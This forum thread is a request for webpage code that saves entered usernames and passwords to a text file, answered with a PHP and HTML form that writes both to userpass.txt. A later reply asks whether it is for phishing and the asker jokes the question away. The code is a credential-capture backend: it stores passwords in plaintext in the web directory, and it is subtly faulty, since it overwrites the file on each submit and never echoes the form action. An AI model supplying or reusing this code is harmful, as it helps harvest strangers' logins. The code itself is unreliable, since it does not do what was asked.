anyone please help

yuppie

Newbie
Joined
Apr 30, 2009
Messages
29
Reaction score
1
box1-username
box2-password
button-submit

I need code to put on webpage to copy box1 and box2 contents upon clicking submit to a txt file. I want text file to place box1 text ontop of box2 text evrytime.

Please help this should not be a problem for you coders out there.

Thanks in advance:)
 
Here ya go, wrote this real quick...let me know if it works

Code:
<?php
    // Check if the user submitted this form
    if (isset($_POST["submitwrite"])) {
        // Open the file in write mode
        $handle = fopen("userpass.txt","w+"); 
        
        // If successful
        if ($handle) {
            // Write to that handle the username submitted in the form and the date
            fwrite($handle,$_POST["usersname"]);
            fwrite($handle,$_POST["password"]);
            // Close the file
            fclose($handle);
        }
    }
?>
        
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"[URL]http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd[/URL]">
<html xmlns="[URL]http://www.w3.org/1999/xhtml[/URL]" lang="en" xml:lang = "en" dir="ltr">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>Submit example</title>
</head>
<body>
<!-- Notice how the form is submitting to itself -->
<form method="POST" action="<?php $_SERVER["PHP_SELF"]; ?>">
Username: <input type="text" name="usersname"/><br/>
Password: <input type="text" name="password"/><br/>
<input type="submit" value="Write" name="submitwrite"/>
</form>
</body>
</html>
 
Also, you need to create a text file in the location of this file called userpass.txt
 
Thx m8 I'm going to build page with this in a couple of days, still piecing my project together. I'm pretty sure it'll work as it looks good. I'm real good at tweaking code,just not baking from scratch. Thanks agian you saved me a couple of hours searching code off the internet. Good job
 
Are you planning to use this method for phishing? Kind of suspicious lol
 
Wouldn't you need a phishing pole to do that.:)
 
Back
Top